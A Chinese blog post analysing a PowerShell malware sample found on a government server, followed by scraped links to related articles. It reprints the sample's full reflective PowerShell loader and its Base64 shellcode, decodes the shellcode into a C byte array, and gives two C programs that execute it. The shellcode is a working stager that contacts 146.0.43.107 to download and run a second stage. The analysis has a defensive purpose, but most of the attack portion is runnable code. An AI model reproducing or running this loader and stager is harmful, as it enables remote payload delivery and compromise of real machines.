针对中国政府机构的准APT攻击样本Power Shell的ShellCode分析
本文链接网址:http://blog.csdn.net/qq1084283172/article/details/45690529
一、事件回放
网络管理员在服务器上通过网络监控软件检测到,有程序在不断向外发包,并且ip地址显示国外的区域,经过相关安全工程师的分析和定位,最确定是微软操作系统上的Power Shell程序出现异常。发现的这个Power Shell程序和微软操作系统上的Power Shell程序不同,出现异常的这个Power Shell会不断的向外发包。经过该安全工程师的分析和反编译程序,最终得到了下面这段关键的代码,其中黄色部分的代码是最为关键的,后面会对这段代码进行解释和分析:
function eioVqZzdV {
Param ($eoSKcVTjfxS, $p0d9j)
$f4Al9fb6 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $f4Al9fb6.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f4Al9fb6.GetMethod('GetModuleHandle')).Invoke($null, @($eoSKcVTjfxS)))), $p0d9j))
}
function mGIgrD {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $ejQ7pbH8K,
[Parameter(Position = 1)] [Type] $za4NhlFE = [Void]
)
$lqSy6La = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class,
Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$lqSy6La.DefineConstructor('RTSpecialName, HideBySig,
Public', [System.Reflection.CallingConventions]::Standard, $ejQ7pbH8K).SetImplementationFlags('Runtime,
Managed')
$lqSy6La.DefineMethod('Invoke', 'Public,
HideBySig, NewSlot, Virtual', $za4NhlFE, $ejQ7pbH8K).SetImplementationFlags('Runtime,
Managed')
return $lqSy6La.CreateType()
}
[Byte[]]$umdAM8XBH = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi
1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29
tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA
Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9
XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTQ2LjAuN
DMuMTA3AA==")
$ro8d50FQZ0 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll VirtualAlloc), (mGIgrD @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $umdAM8XBH.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($umdAM8XBH, 0, $ro8d50FQZ0, $umdAM8XBH.length)
$mLkBWmZ3 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll CreateThread), (mGIgrD @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$ro8d50FQZ0,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll WaitForSingleObject), (mGIgrD @([IntPtr], [Int32]))).Invoke($mLkBWmZ3,0xffffffff) | Out-Null
二、对反编译关键代码的注释
//Base64编码的字符串数组$umdAM8XBH
[Byte[]]$umdAM8XBH =[System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi
1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29
tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA
Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9
XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTQ2LjAuN
DMuMTA3AA==")
//调用kernel32.dll库的函数VirtualAlloc在进程堆上分配0x3000大小的内存空间,$ro8d50FQZ0保存申请内存空间的地址
$ro8d50FQZ0 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll VirtualAlloc), (mGIgrD @([IntPtr], [UInt32], [UInt32],[UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, $umdAM8XBH.Length,0x3000, 0x40)
//调用函数Copy从数组$umdAM8XBH中拷贝字符串到新申请的内存空间$ro8d50FQZ0中
[System.Runtime.InteropServices.Marshal]::Copy($umdAM8XBH, 0, $ro8d50FQZ0, $umdAM8XBH.length)
//调用kernel32.dll库中函数CreateThread创建线程,并且线程的回调函数的地址为数组$ro8d50FQZ0的字符串地址
$mLkBWmZ3 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll CreateThread), (mGIgrD @([IntPtr], [UInt32], [IntPtr],[IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$ro8d50FQZ0,[IntPtr]::Zero,0,[IntPtr]::Zero)
//调用kernel32.dll库中的函数WaitForSingleObject等待线程的创建成功
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eioVqZzdV kernel32.dll WaitForSingleObject), (mGIgrD @([IntPtr],[Int32]))).Invoke($mLkBWmZ3,0xffffffff) | Out-Null
二、黄色部分Base64字符串的解码
//很明显数组$umdAM8XBH中的字符是ShellCode代码但是需要先Base64解码:
[Byte[]]$umdAM8XBH =[System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi
1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6IAAAABNb3ppbGxhLzUuMCAoY29
tcGF0aWJsZTsgTVNJRSAxMC4wOyBXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IFRyaWRlbnQvNi4wOyBUb3VjaDsgTUFTUEpTKQBYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYA
Fkx/1dXV1dRaDpWeaf/1et5WzHJUVFqA1FRaFAAAABTUGhXiZ/G/9XrYlkx0lJoAAJghFJSUlFSUGjrVS47/9WJxjH/V1dXV1ZoLQYYe//VhcB0RDH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9
XagdRVlBot1fgC//VvwAvAAA5x3S8Mf/rFetJ6Jn///8vaGZZbgAAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk1NTiedXaAAgAABTVmgSloni/9WFwHTNiwcBw4XAdeVYw+g3////MTQ2LjAuN
DMuMTA3AA==")
黄色部分的字符串的解码
Base64编码字符串在线解码的网址:http://www1.tc711.com/tool/BASE64.htm
1.Base64字符串解码成字符串--显然这种解码方式是不对的
2.其实这段Base64加密的编码解密出来是一段ShellCode也就是一段可执行代码不是一个Http的发送包。
char shellCode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89"
"\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28"
"\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"
"\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01"
"\xd0\x50\x8b\x48\x18\x8b\x58\x20"
"\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1"
"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4"
"\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
"\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24"
"\x5b\x5b\x61\x59\x5a\x51\xff\xe0"
"\x58\x5f\x5a\x8b\x12\xeb\x86\x5d"
"\x68\x6e\x65\x74\x00\x68\x77\x69"
"\x6e\x69\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\xe8\x80\x00\x00\x00\x4d"
"\x6f\x7a\x69\x6c\x6c\x61\x2f\x35"
"\x2e\x30\x20\x28\x63\x6f\x6d\x70"
"\x61\x74\x69\x62\x6c\x65\x3b\x20"
"\x4d\x53\x49\x45\x20\x31\x30\x2e"
"\x30\x3b\x20\x57\x69\x6e\x64\x6f"
"\x77\x73\x20\x4e\x54\x20\x36\x2e"
"\x32\x3b\x20\x57\x4f\x57\x36\x34"
"\x3b\x20\x54\x72\x69\x64\x65\x6e"
"\x74\x2f\x36\x2e\x30\x3b\x20\x54"
"\x6f\x75\x63\x68\x3b\x20\x4d\x41"
"\x53\x50\x4a\x53\x29\x00\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x00\x59"
"\x31\xff\x57\x57\x57\x57\x51\x68"
"\x3a\x56\x79\xa7\xff\xd5\xeb\x79"
"\x5b\x31\xc9\x51\x51\x6a\x03\x51"
"\x51\x68\x50\x00\x00\x00\x53\x50"
"\x68\x57\x89\x9f\xc6\xff\xd5\xeb"
"\x62\x59\x31\xd2\x52\x68\x00\x02"
"\x60\x84\x52\x52\x52\x51\x52\x50"
"\x68\xeb\x55\x2e\x3b\xff\xd5\x89"
"\xc6\x31\xff\x57\x57\x57\x57\x56"
"\x68\x2d\x06\x18\x7b\xff\xd5\x85"
"\xc0\x74\x44\x31\xff\x85\xf6\x74"
"\x04\x89\xf9\xeb\x09\x68\xaa\xc5"
"\xe2\x5d\xff\xd5\x89\xc1\x68\x45"
"\x21\x5e\x31\xff\xd5\x31\xff\x57"
"\x6a\x07\x51\x56\x50\x68\xb7\x57"
"\xe0\x0b\xff\xd5\xbf\x00\x2f\x00"
"\x00\x39\xc7\x74\xbc\x31\xff\xeb"
"\x15\xeb\x49\xe8\x99\xff\xff\xff"
"\x2f\x68\x66\x59\x6e\x00\x00\x68"
"\xf0\xb5\xa2\x56\xff\xd5\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00"
"\x40\x00\x57\x68\x58\xa4\x53\xe5"
"\xff\xd5\x93\x53\x53\x89\xe7\x57"
"\x68\x00\x20\x00\x00\x53\x56\x68"
"\x12\x96\x89\xe2\xff\xd5\x85\xc0"
"\x74\xcd\x8b\x07\x01\xc3\x85\xc0"
"\x75\xe5\x58\xc3\xe8\x37\xff\xff"
"\xff\x31\x34\x36\x2e\x30\x2e\x34"
"\x33\x2e\x31\x30\x37\x00 ";
三、ShellCode代码行为的分析
1.编写测试测试程序,对ShellCode的行为进行分析
ShellCode测试程序1--TestCode:
// TestCode.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
char shellCode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89"
"\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28"
"\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"
"\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01"
"\xd0\x50\x8b\x48\x18\x8b\x58\x20"
"\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1"
"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4"
"\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
"\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24"
"\x5b\x5b\x61\x59\x5a\x51\xff\xe0"
"\x58\x5f\x5a\x8b\x12\xeb\x86\x5d"
"\x68\x6e\x65\x74\x00\x68\x77\x69"
"\x6e\x69\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\xe8\x80\x00\x00\x00\x4d"
"\x6f\x7a\x69\x6c\x6c\x61\x2f\x35"
"\x2e\x30\x20\x28\x63\x6f\x6d\x70"
"\x61\x74\x69\x62\x6c\x65\x3b\x20"
"\x4d\x53\x49\x45\x20\x31\x30\x2e"
"\x30\x3b\x20\x57\x69\x6e\x64\x6f"
"\x77\x73\x20\x4e\x54\x20\x36\x2e"
"\x32\x3b\x20\x57\x4f\x57\x36\x34"
"\x3b\x20\x54\x72\x69\x64\x65\x6e"
"\x74\x2f\x36\x2e\x30\x3b\x20\x54"
"\x6f\x75\x63\x68\x3b\x20\x4d\x41"
"\x53\x50\x4a\x53\x29\x00\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x00\x59"
"\x31\xff\x57\x57\x57\x57\x51\x68"
"\x3a\x56\x79\xa7\xff\xd5\xeb\x79"
"\x5b\x31\xc9\x51\x51\x6a\x03\x51"
"\x51\x68\x50\x00\x00\x00\x53\x50"
"\x68\x57\x89\x9f\xc6\xff\xd5\xeb"
"\x62\x59\x31\xd2\x52\x68\x00\x02"
"\x60\x84\x52\x52\x52\x51\x52\x50"
"\x68\xeb\x55\x2e\x3b\xff\xd5\x89"
"\xc6\x31\xff\x57\x57\x57\x57\x56"
"\x68\x2d\x06\x18\x7b\xff\xd5\x85"
"\xc0\x74\x44\x31\xff\x85\xf6\x74"
"\x04\x89\xf9\xeb\x09\x68\xaa\xc5"
"\xe2\x5d\xff\xd5\x89\xc1\x68\x45"
"\x21\x5e\x31\xff\xd5\x31\xff\x57"
"\x6a\x07\x51\x56\x50\x68\xb7\x57"
"\xe0\x0b\xff\xd5\xbf\x00\x2f\x00"
"\x00\x39\xc7\x74\xbc\x31\xff\xeb"
"\x15\xeb\x49\xe8\x99\xff\xff\xff"
"\x2f\x68\x66\x59\x6e\x00\x00\x68"
"\xf0\xb5\xa2\x56\xff\xd5\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00"
"\x40\x00\x57\x68\x58\xa4\x53\xe5"
"\xff\xd5\x93\x53\x53\x89\xe7\x57"
"\x68\x00\x20\x00\x00\x53\x56\x68"
"\x12\x96\x89\xe2\xff\xd5\x85\xc0"
"\x74\xcd\x8b\x07\x01\xc3\x85\xc0"
"\x75\xe5\x58\xc3\xe8\x37\xff\xff"
"\xff\x31\x34\x36\x2e\x30\x2e\x34"
"\x33\x2e\x31\x30\x37\x00 ";
int main(int argc, char* argv[])
{
__asm
{
lea eax, shellCode
push eax
ret
}
return 0;
}
ShellCode测试程序2--TestCode1:
// TestCode1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
char shellCode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89"
"\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28"
"\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57"
"\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
"\x8b\x40\x78\x85\xc0\x74\x4a\x01"
"\xd0\x50\x8b\x48\x18\x8b\x58\x20"
"\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1"
"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4"
"\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
"\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24"
"\x5b\x5b\x61\x59\x5a\x51\xff\xe0"
"\x58\x5f\x5a\x8b\x12\xeb\x86\x5d"
"\x68\x6e\x65\x74\x00\x68\x77\x69"
"\x6e\x69\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\xe8\x80\x00\x00\x00\x4d"
"\x6f\x7a\x69\x6c\x6c\x61\x2f\x35"
"\x2e\x30\x20\x28\x63\x6f\x6d\x70"
"\x61\x74\x69\x62\x6c\x65\x3b\x20"
"\x4d\x53\x49\x45\x20\x31\x30\x2e"
"\x30\x3b\x20\x57\x69\x6e\x64\x6f"
"\x77\x73\x20\x4e\x54\x20\x36\x2e"
"\x32\x3b\x20\x57\x4f\x57\x36\x34"
"\x3b\x20\x54\x72\x69\x64\x65\x6e"
"\x74\x2f\x36\x2e\x30\x3b\x20\x54"
"\x6f\x75\x63\x68\x3b\x20\x4d\x41"
"\x53\x50\x4a\x53\x29\x00\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x00\x59"
"\x31\xff\x57\x57\x57\x57\x51\x68"
"\x3a\x56\x79\xa7\xff\xd5\xeb\x79"
"\x5b\x31\xc9\x51\x51\x6a\x03\x51"
"\x51\x68\x50\x00\x00\x00\x53\x50"
"\x68\x57\x89\x9f\xc6\xff\xd5\xeb"
"\x62\x59\x31\xd2\x52\x68\x00\x02"
"\x60\x84\x52\x52\x52\x51\x52\x50"
"\x68\xeb\x55\x2e\x3b\xff\xd5\x89"
"\xc6\x31\xff\x57\x57\x57\x57\x56"
"\x68\x2d\x06\x18\x7b\xff\xd5\x85"
"\xc0\x74\x44\x31\xff\x85\xf6\x74"
"\x04\x89\xf9\xeb\x09\x68\xaa\xc5"
"\xe2\x5d\xff\xd5\x89\xc1\x68\x45"
"\x21\x5e\x31\xff\xd5\x31\xff\x57"
"\x6a\x07\x51\x56\x50\x68\xb7\x57"
"\xe0\x0b\xff\xd5\xbf\x00\x2f\x00"
"\x00\x39\xc7\x74\xbc\x31\xff\xeb"
"\x15\xeb\x49\xe8\x99\xff\xff\xff"
"\x2f\x68\x66\x59\x6e\x00\x00\x68"
"\xf0\xb5\xa2\x56\xff\xd5\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00"
"\x40\x00\x57\x68\x58\xa4\x53\xe5"
"\xff\xd5\x93\x53\x53\x89\xe7\x57"
"\x68\x00\x20\x00\x00\x53\x56\x68"
"\x12\x96\x89\xe2\xff\xd5\x85\xc0"
"\x74\xcd\x8b\x07\x01\xc3\x85\xc0"
"\x75\xe5\x58\xc3\xe8\x37\xff\xff"
"\xff\x31\x34\x36\x2e\x30\x2e\x34"
"\x33\x2e\x31\x30\x37\x00 ";
int main(int argc, char* argv[])
{
//创建ShellCode的线程
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(int)&shellCode, NULL, 0, NULL);
//等待线程的创建完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}
2. 使用病毒监控软件MyMonitor对ShellCode的行为进行监控,情况如下:
创建文件C:\Documentsand Settings\Administrator\Local Settings\Temporary InternetFiles\Content.IE5\index.dat
创建文件C:\Documentsand Settings\Administrator\Cookies\index.dat
创建文件C:\Documentsand Settings\Administrator\Local Settings\History\ History.IE5\index.dat
创建文件C:\AUTOEXEC.BAT
创建文件C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\b7e3_appcompat.txt
链接外网146.0.43.107:80,远程读取该网站中的文件146.0.43.107/hfYn到本地文件中。
3. 使用OD对程序进行动态分析
ShellCode的汇编是经过人工刻意编写的,懒得分析,我想多活几年,只提供部分ShellCode的截图:
4.使用金山火眼对样本进行分析
分析结果的网址:
四、在线病毒扫描对样本的检测结果
病毒检测报告结果的网址:
http://r.virscan.org/report/8cb8acd2f0bce2b3ee34bcffc5657c8d
笔记到此为止,欢迎高手拍砖砸死。
针对中国政府机构的准APT攻击样本Power Shell的ShellCode分析的更多相关文章
- 揭秘Patchwork APT攻击-恶意软件样本BADNEWS
1.前言 在2016年左右研究人员发现一个与东南亚和中国南海问题的APT攻击,该APT攻击利用MS Offcie系列漏洞通过钓鱼邮件的形式欺骗受害者点击木马.以美国在内的各国政府和公司为目标发送了大量 ...
- < APT 攻击>看起来是 .PPT 附件,竟是 .SCR !!
趋势科技以前在2013年下半年度目标攻击综合报告里指出,发现了好几起APT攻击-高级持续性渗透攻击 (Advanced Persistent Threat, APT) /目标攻击相关的攻击活动. 趋势 ...
- 利用WPS 2012/2013 0day针对中国政府部门的定向攻击
今天早上,我们捕获到一个利用wps 2012/2013 0day针对中国政府部门的钓鱼邮件定向攻击事件. 邮件发件人以2014中国经济形势解析高层报告组委会 标题发出,附件为包含wps2012 0da ...
- APT攻击基础科普
0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名 ...
- APT攻击将向云计算平台聚焦
APT攻击作为一种高效.精确的网络攻击方式,在近几年被频繁用于各种网络攻击事件之中,并迅速成为企业信息安全最大的威胁之一. 近日,飞塔中国首席技术顾问X在谈及APT攻击时表示,随着云计算的不断发展普及 ...
- 从kill-chain的角度检测APT攻击
前言 最近一直在考虑如何结合kill chain检测APT攻击.出发点是因为尽管APT是一种特殊.高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测 ...
- 从防御者视角来看APT攻击
前言 APT防御的重要性毋庸讳言,为了帮助各位师傅在防御方面建立一个总体认识,本文会将APT防御方法分为三类,分别是:监控.检测和缓解技术,并分别进行梳理,介绍分析代表性技术.这一篇分析现有的监控技术 ...
- 梭子鱼:APT攻击是一盘更大的棋吗?
随着企业对IT的依赖越来越强,APT攻击可能会成为一种恶意打击竞争对手的手段.目前,APT攻击目标主要有政治和经济目的两大类.而出于经济目的而进行的APT攻击可以获取竞争对手的商业信息,也可使用竞争对 ...
- 饼干怪兽和APT攻击
APT攻击就像一个孩子,你通过各种方式窃取他们的大脑要拿出饼干,为了防止恶意攻击,过失作为母亲未能发现和防止饼干盗窃贼如.于她仅仅监视厨房椅子.衣柜门或烤箱门的开启.建立起有效防御目标攻击与APT攻击 ...
随机推荐
- 防数据泄露_MySQL库和数据安全
目录 攻击场景 外部入侵 内部盗取 防御体系建设 参考 在企业安全建设中有一个方向是防数据泄露,其中一块工作就是保障数据库安全,毕竟这里是数据的源头.当然数据库也分不同的种类,不同类型的数据库的防护手 ...
- 大话Spark(7)-源码之Master主备切换
Master作为Spark Standalone模式中的核心,如果Master出现异常,则整个集群的运行情况和资源都无法进行管理,整个集群将处于无法工作的状态. Spark在设计的时候考虑到了这种情况 ...
- vue3中的通过proxy实现双向数据绑定的原理
1.什么是Proxy?它的作用是? 据阮一峰文章介绍:Proxy可以理解成,在目标对象之前架设一层 "拦截",当外界对该对象访问的时候,都必须经过这层拦截,而Proxy就充当了这种 ...
- Mybatis系列全解(五):全网最全!详解Mybatis的Mapper映射文件
封面:洛小汐 作者:潘潘 若不是生活所迫,谁愿意背负一身才华. 前言 上节我们介绍了 < Mybatis系列全解(四):全网最全!Mybatis配置文件 XML 全貌详解 >,内容很详细( ...
- VirtualBOX 虚拟机 FreeBSD配置
pkg装virtualbox-ose-additions, 再将 Section "Device"Identifier "Card0"Driver " ...
- FreeBSD 入门 哲学与玄学
『哲学与玄学』 FreeBSD 是一种 UNIX 哲学(如模块化,一切皆文件等,见< UNIX 编程艺术>❩的发展,也是学院派的代表作品.她是一套工具集,她存在目的是为了让人们更好的生活. ...
- android 调用js,js调用android
Java调用JavaScript 1.main.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?xml v ...
- 攻防世界 reverse 进阶 notsequence
notsequence RCTF-2015 关键就是两个check函数 1 signed int __cdecl check1_80486CD(int a1[]) 2 { 3 signed int ...
- [组合][DP]luogu P3643 [APIO2016]划艇
题面 https://www.luogu.com.cn/problem/P3643 对于一个序列,第i项可取的值在{0}∪[ai,bi]之间,求使序列非零部分单调递增的方案数 分析 设 $f[i][j ...
- OMnet++ 初学者教程 第一节 入门
第1部分-入门 1.1模型 首先,让我们从一个包含两个节点的"network"开始.节点将做一些简单的事情:一个是节点将创建一个数据包,而两个节点将继续来回传递相同的数据包.我们将 ...